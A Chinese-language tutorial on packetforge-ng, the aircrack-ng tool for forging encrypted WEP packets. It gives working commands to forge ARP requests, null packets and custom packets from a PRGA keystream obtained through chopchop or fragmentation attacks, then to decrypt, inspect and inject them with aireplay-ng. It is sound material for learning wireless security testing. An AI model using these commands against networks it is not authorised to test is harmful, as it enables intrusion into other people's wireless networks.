Packetforge-ng是配合aircrack-ng使用的生成包的工具,本文主要介绍了一些使用参数和示例
packetforge-ng是用于创建用来注入的加密数据包的工具。可以使用packetforge-ng创建各种类型的数据包,例如ARP请求包、UDP、ICMP和自定义数据包,最常见的用途是为后续注入创建ARP请求。
要创建加密数据包,必须具有PRGA(伪随机生成算法)文件。这用于加密创建的数据包。通常通过aireplay-ng chopchop或碎片攻击获得。
Usage: packetforge-ng
首先,使用aireplay-ng chopchop
或fragmentation
方法获取xor
文件(PRGA)
然后使用以下命令:
packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D -k 192.168.1.100 -l 192.168.1.1 -y fragment-0124-161129.xor -w arp-request
其中:
如果我们正在欺骗我们自己的AP,那么刚刚伪造的包可以使用我们自己的秘钥进行加密。所以要看到刚刚创建的数据包,可以进行解密:
输入“airdecap-ng -w <接入点加密密钥> arp-request”
结果如下所示:
1 | Total number of packets read 1 |
要查看刚刚解密的数据包,请输入“tcpdump -n -vvv -e -s0 -r arp-request-dec”
结果如下所示:
1
2
3 >reading from file arp-request-dec, link-type EN10MB (Ethernet)
>18:09:27.743303 00:0f:b5:ab:cb:9d > Broadcast, ethertype ARP (0x0806), length 42: arp who-has 192.168.1.100 tell 192.168.1.1
>
正如我们预料之中。
我们可以用下面的命令将我们构建的ARP-request包注入
aireplay-ng -2 -r arp-request ath0
收到回复:
1 | Size: 68, FromDS: 0, ToDS: 1 (WEP) |
通过在上面输入“y”,然后注入我们刚刚使用packetforge-ng创建的数据包。
这个选项允许我们产生LLC 空数据包。这些可能是最小的包而且不包含任何数据。选项“-s” 用来手动设置数据包的大小。这是一种生成用来注入的小包的简单方法。
大小值-s
定义了未加密数据包的绝对大小,所以在加密后需要添加8个字节来获得最终长度(iv + idx为4个字节,icv为4个字节)。该值还包括长度为24字节的802.11标头。
命令:
packetforge-ng –null -s 42 -a BSSID -h SMAC -w short-packet.cap -y fragment.xor
其中:
如果要生成客户端数据包,首选选择创建数据包的工具。这里可以是一个特殊的工具,一个十六进制编辑器或者是从过去抓取的包。然后将其保存为pcap
文件,在此之后,运行命令:
packetforge-ng -9 -r input.cap -y keystream.xor -w output.cap
这其中:
当它运行时,packetforge-ng将询问使用哪个数据包然后输出该文件
大多数接入点实际上并不关心用于arp请求的IP。因此,您可以将255.255.255.255用于源和目标IP。
所以packetforge-ng命令变为:
packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D -k 255.255.255.255 -l 255.255.255.255 -y fragment-0124-161129.xor -w arp-request
人们常犯的一个错误是包含 -j和 -o标志中的任何一个或两个,并创建了无效的数据包。这些标志调整生成的数据包中的FromDS和ToDS标志。除非你正在做一些特别的事情,并且真的知道你在做什么,否则不要使用它们。一般来说,它们不是必需的。
这个错误通常是由于使用了数字1(-1),而不是使用L
的小写形式(-l)
输入:
packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -1 255.255.255.255 -y 00:14:6C:7E :40:80-03-00-14-6C-7E-40-80.xor -w arp-request
输出:
1 | Mode already specified. |
这是因为使用了-1(数字1)而不是正确的-l(小写字母L)。所以只需使用“-l”即可。